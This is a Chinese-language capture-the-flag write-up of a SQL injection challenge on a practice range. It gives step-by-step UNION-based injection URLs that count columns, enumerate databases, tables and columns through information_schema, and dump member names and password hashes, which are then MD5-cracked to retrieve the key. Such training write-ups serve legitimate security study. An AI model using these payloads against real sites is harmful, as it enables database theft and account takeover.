这几天做题的时候发现了一个靶场,先做了一个SQL注入,怎么说呢,这个靶场环境还可以,但是个人感觉最后的 key获取,有点脑洞,没有太大的实际意义背离了实际的初衷,不说了直接上wp:
首先找注入点:
http://219.153.49.228:40084/new_list.php?id=1‘//
id=1的时候返回正常,id=1’的时候返回错误,说明存在sql注入。
http://219.153.49.228:40084/new_list.php?id=1%20and%201=1--+ //页面返回正常 注意id=1不加单引号。
判断回显字段有多少:
http://219.153.49.228:40084/new_list.php?id=1%20order%20by%204--+ //返回正常
http://219.153.49.228:40084/new_list.php?id=1%20order%20by%205--+ //返回错误
说明页面有4个回显字段。
显示回显字段:
http://219.153.49.228:40084/new_list.php?id=-1%20%20union%20select%201,2,3,4--+
在回显字段上爆出相应信息:
爆出数据库
http://219.153.49.228:40084/new_list.php?id=-1%20%20union%20select%201,2,group_concat(schema_name),4%20from%20information_schema.schemata--+
这里不得不吐槽一下,数据库名字给的不明显,导致我一开始尝试了好多个数据库也没有找到flag。
这里选择第二个数据库。
爆出表:
http://219.153.49.228:40084/new_list.php?id=-1%20%20union%20select%201,2,group_concat(table_name),4%20from%20information_schema.tables%20%20where%20%20%20table_schema=%22mozhe_Discuz_StormGroup%22--+
爆出列:
http://219.153.49.228:40084/new_list.php?id=-1%20%20union%20select%201,2,group_concat(column_name),4%20from%20information_schema.columns%20%20where%20%20%20table_name=%22StormGroup_member%22--+
爆出字段:
http://219.153.49.228:40084/new_list.php?id=-1%20%20union%20select%201,2,concat(0x7e,name,0x7e,password,0x7e,status),4%20from%20StormGroup_member--+
爆出了密码,但是这个密码是错误的,不知道为啥。
既然密码不对肯定有别的密码,我们加一个limit 0,1
http://219.153.49.228:40084/new_list.php?id=-1%20%20union%20select%201,2,concat(0x7e,name,0x7e,password,0x7e,status),4%20from%20StormGroup_member%20%20limit%200,1--+
limit1,1:
http://219.153.49.228:40084/new_list.php?id=-1%20%20union%20select%201,2,concat(0x7e,name,0x7e,password,0x7e,status),4%20from%20StormGroup_member%20%20limit%200,1--+
对结果进行md5解密得到登陆密码,拿到key。
在这里强调一下,不要随便复制别人的flag,flag值都随机的,最后我们在爆出最终的密码的时候,我们爆出第一个但是不好使,这时候我们应该联想到limit,爆出其他的flag。
其实我们在最后爆出flag的时候可以用以下语句:
http://219.153.49.228:40084/new_list.php?id=-1%20%20union%20select%201,2,group_concat(password),4%20from%20StormGroup_member%20%20--+
加入一个group——concat(),进而不用limit限制,这里此函数的用法自行百度。
如图: